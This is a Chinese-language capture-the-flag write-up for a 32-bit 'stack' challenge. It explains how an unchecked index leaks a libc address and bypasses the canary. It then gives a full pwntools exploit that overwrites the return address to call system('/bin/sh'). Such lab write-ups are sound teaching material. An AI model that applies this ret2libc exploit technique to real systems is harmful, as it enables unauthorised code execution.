stack

保护
main函数

一看开了全保护的程序,没有后门,再一看名字stack,可能就是模拟对栈操作的一个程序,通过调试可以知道由于没有对下标进行检查,所以可以对下标进行修改从而泄漏libc地址,达到跳过canary越界修改ret地址

先pop再push('93')修改index为96,然后再pop泄漏__libc_start_main_ret的地址,最后再push(system) + push(1) + push(binsh_addr) 来执行system('/bin/sh')

注意这里ret的地址不是当前的ebp+4而是ecx-4

最后我们传入的地址要转换成int32的类型,否则会溢出

完整exp:

from pwn import *

p = process('./stack',env = {"LD_PRELOAD":"../libc-2.23.so.i386"})
#p = remote('hackme.inndy.tw',7716)

def pop():
    p.sendlineafter('Cmd >>\n','p')

def clear():
    p.sendlineafter('Cmd >>\n','c')

def push(val):
    p.sendlineafter('Cmd >>\n','i '+str(val))
#gdb.attach(p)

pop()
push(93)
pop()
p.recvuntil(' -> ')
data = p.recvuntil('\n',drop = True)
__libc_start_main_ret = 0xffffffff - int(data[1:]) + 1
offset___libc_start_main_ret = 0x18637
offset_system = 0x0003ad80
offset_str_bin_sh = 0x15ba3f

libc_base = __libc_start_main_ret - offset___libc_start_main_ret
log.success('libc base addr : 0x%x' %libc_base)
system_addr = libc_base + offset_system
binsh_addr = libc_base + offset_str_bin_sh
log.success('system addr : 0x%x' %system_addr)
log.success('binsh addr : 0x%x' %binsh_addr)
gdb.attach(p)
push(system_addr - 0xffffffff -1)
push('1')
push(binsh_addr - 0xffffffff -1)
p.sendline('x')

p.interactive()

你可能感兴趣的:(stack)